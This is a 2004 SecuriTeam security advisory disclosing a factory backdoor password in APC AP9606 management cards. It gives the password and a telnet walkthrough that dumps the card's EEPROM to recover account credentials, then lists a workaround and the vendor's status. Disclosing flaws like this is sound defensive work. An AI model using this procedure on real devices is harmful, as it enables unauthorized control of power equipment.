

[NEWS] APC 9606 SmartSlot Web/SNMP Management Card Backdoor

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-02/0049.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 02/18/04

To: list@securiteam.com

Date: 18 Feb 2004 15:51:53 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

APC 9606 SmartSlot Web/SNMP Management Card Backdoor

SUMMARY

APC (American Power Conversion) SmartSwitch and UPS (uninterruptible power supply) products have a Web and SNMP management card installed that permits local serial console, TELNET, web and SNMP management, monitoring and mains power control of attached devices.

APC SmartSlot Web/SNMP management cards have a "backdoor" password that can be abused to extract plain text username/password details for all accounts and hence gain unauthorized full control of the device.

DETAILS

Vulnerable Systems:

- * SmartUPS 3000RM with AP9606 AOS v3.2.1 and SmartUPS App v3.2.6
- * MasterSwitch AP9212 with AP9606 AOS v3.0.3 and MasterSwitch App v2.2.0
- * Silcon DP3320E with Web/SNMP Management Card AP9606 – AOS v3.0.1
- * Silcon DP340E with Web/SNMP Management Card AP9606 – AOS v3.0.1

The "backdoor" password is designed for use by the factory for initial configuration of the card, e.g. MAC Address, Serial Number etc. However,

Securiteam: [NEWS] APC 9606 SmartSlot Web/SNMP Management Card Backdoor

it is possible to dump the contents of EEPROM which amongst other things stores the account usernames and passwords.

The "backdoor" password is accepted via either the local serial port or TELNET. Use of the password on the web interface does not appear to be possible.

To recreate (typical example):

Connect a console to the serial port or TELNET to the card. At the username prompt use any username. The password is all alphabetic characters and is case sensitive: TENmanUFactOryPOWER

At the selection prompt, type 13 and press return. Type the byte address of the EEPROM location to view, e.g. 1d0 and press return. Look carefully for the username and password pairs. Different firmware revisions may have the account details at different EEPROM locations. The accounts in the example below are the default accounts after their passwords have been changed.

```
Username: apc?????????Password: BBCCDDEEF
Username: device?????????Password: AAAABBBBB
```

Press return to get back to the Factory Menu and press ctrl-A to logout. You can now TELNET to the card again and use the account details you've just recovered to log into and control the device.

You should use the other selections with extreme care. You may cause irreparable damage and will most certainly invalidate any warranty. The EEPROM also contains other user-configurable options in either plain text or binary encoded form. They are not detailed in this advisory.

Example:

```
[root@always root]# telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^'.
```

```
User Name : phade
Password ?: TENmanUFactOryPOWER
```

```
Factory Menu
<CTRL-A> to exit
```

```
1AP9606
2WA0044004472
3G9
410/25/2000
500 C0 B7 A2 C8 2D
6v3.2.1
7A
8A
9192.168.1.1
```

Securiteam: [NEWS] APC 9606 SmartSlot Web/SNMP Management Card Backdoor

A255.255.255.0
B192.168.1.254
C
D
E
F
G

Selection> 13

Enter byte address in Hex(XXXX): 1d0

01D0 ? FF 50 46 61 70 63 00 FF ?.PFapc..
01D8 ? FF FF FF FF FF FF 42 42 ?.....BB
01E0 ? 43 43 44 44 45 45 46 00 ?CCDDEEF.
01E8 ? FF 64 65 76 69 63 65 00 ?.device.
01F0 ? FF FF FF FF 41 41 41 41 ?....AAAA
01F8 ? 42 42 42 42 42 00 FF 61 ?BBBBB..a
0200 ? 64 6D 69 6E 20 75 73 65 ?dmin use
0208 ? 72 20 70 68 72 61 73 65 ?r phrase
0210 ? 00 FF FF FF FF FF FF FF ?.....
0218 ? FF FF FF FF FF FF FF FF ?.....
0220 ? 64 65 76 69 63 65 20 75 ?device u
0228 ? 73 65 72 20 70 68 72 61 ?ser phra
0230 ? 73 65 00 FF FF FF FF FF ?se.....
0238 ? FF FF FF FF FF FF FF FF ?.....
0240 ? FF 00 00 FF FF FF FF 21 ?.....!
0248 ? 56 00 00 00 00 00 00 55 ?V.....U

<sp>nxt,b-bck,p-pch,other-exit

Workaround/Fix:

Ensure that access to the local serial port is physically restricted and disable the TELNET interface as described in the device documentation. A patched version of the firmware which requires the management password to be entered before accessing the factory settings may be available from APC.

Vendor status:

APC were first notified six months ago on 12th August 2003 and were initially helpful in patching the problem. However, after testing a couple of beta fixes I've heard nothing for over 3 months.

ADDITIONAL INFORMATION

The information has been provided by <mailto:bugtraq@always.sniffing.net>
Dave Tarbatt.

=====

Securiteam: [NEWS] APC 9606 SmartSlot Web/SNMP Management Card Backdoor

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.